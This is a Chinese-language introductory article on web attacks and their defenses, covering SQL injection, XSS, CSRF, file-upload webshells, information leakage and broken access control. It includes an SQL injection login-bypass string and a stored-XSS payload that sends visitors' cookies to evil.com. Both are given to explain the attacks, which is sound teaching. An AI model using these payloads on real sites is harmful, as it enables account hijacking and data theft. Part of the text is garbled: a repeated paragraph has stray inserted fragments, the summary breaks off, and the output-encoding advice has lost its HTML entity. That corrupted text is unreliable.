内容摘要：2023年秋天，某高校教务系统被拖库，两万多名学生的身份证号、家庭住址和手机号在Telegram群里公开叫卖。事后排查发现，入侵入口只是一个三年前离职辅导员没注销的账号，密码是admin123。这件事

2023年秋天，全基某高校教务系统被拖库，础知两万多名学生的全基身份证号、家庭住址和手机号在Telegram群里公开叫卖。础知事后排查发现，全基入侵入口只是础知一个三年前离职辅导员没注销的账号，密码是全基admin123。这件事说明一个基本事实：绝大多数web攻击，础知利用的全基不是什么高深漏洞，而是础知人的疏忽。

聊web安全，全基得先知道对手在打哪里。础知浏览器和服务器之间传递数据，全基靠的础知是HTTP协议。这个协议设计之初压根没考虑安全——请求头可以被伪造，全基参数可以被篡改，Cookie可以被人为设置。攻击者就是利用这种“信任”，在数据流经的每个环节动手脚。

最常见的入口叫SQL注入。假设一个登录接口的SQL语句是SELECT * FROM users WHERE name='$name' AND pass='$pass'，攻击者在用户名框里输入' OR '1'='1，整条语句的条件就恒为真，密码验证形同虚设。更狠的做法是用UNION把其他表的数据拼出来，一次请求就能把整张用户表读走。防御手段并不复杂——参数化查询，让用户输入永远只被当作数据，不参与SQL语义解析。但很多老系统至今还在用字符串拼接，因为改起来嫌麻烦。

另一种高频攻击是XSS，跨站脚本。你在一个论坛发帖，内容里嵌了<script>fetch('https://evil.com/steal?c='+document.cookie)</script>。如果论坛直接把这段内容存进数据库、再原样渲染到页面上，所有浏览该帖的人，Cookie都会被悄悄发到攻击者的服务器。有了Cookie，攻击者不需要密码就能冒充你的身份。存储型XSS的危害远大于反射型，因为它是持久化的，一个恶意帖子可以反复收割来访者。防御的核心是输出编码——把<转成<，让浏览器不把它当标签解析。

CSRF则是另一种思路。它不偷你的Cookie，而是利用你已登录的状态，诱骗你向目标站点发送请求。比如你在银行网站登录着，然后点开了一个恶意页面，页面里藏了一个自动提交的表单，向银行转账接口发请求。浏览器会自动带上你的Cookie，银行服务器以为是本人操作。防御靠的是CSRF Token——每次表单提交附带一个随机串，攻击者的页面拿不到这个串，请求就无效。

文件上传漏洞也值得单独提。有些网站只检查文件扩展名，攻击者把shell.php改成shell.php.jpg就绕过了。上传成功后，如果服务器配置不当，这个文件能被直接访问并执行，等于把服务器的控制权交了出去。2019年某CMS的漏洞就是这样，攻击者上传一个伪装成图片的webshell，然后通过它执行任意系统命令。防御需要同时校验扩展名、MIME类型和文件内容，上传目录还必须禁止脚本执行。

再说一个经常被忽略的点：信息泄露。报错页面里带着完整的堆栈信息，版本号、数据库表名、文件路径全暴露了。有人觉得这不算漏洞，但它给攻击者省了大量探测时间。关闭生产环境的详细报错，是一个成本极低但收益很高的操作。

最后提一下越权。很多系统只验证“你有没有登录”，不验证“你有没有权限操作这条数据”。把URL里的user_id=1001改成user_id=1002，就能看到别人的订单、私信甚至支付信息。这类漏洞在API接口里尤其普遍，因为开发者默认前端会做好权限控制，但攻击者根本不走前端。

这些攻击手法有一个共同点：它们都发生在服务端对客户端数据的“过度信任”上。HTTP是无状态的，每一个请求都可能是伪造的。写代码时把每个输入都当成恶意数据来处理，比事后打补丁划算得多。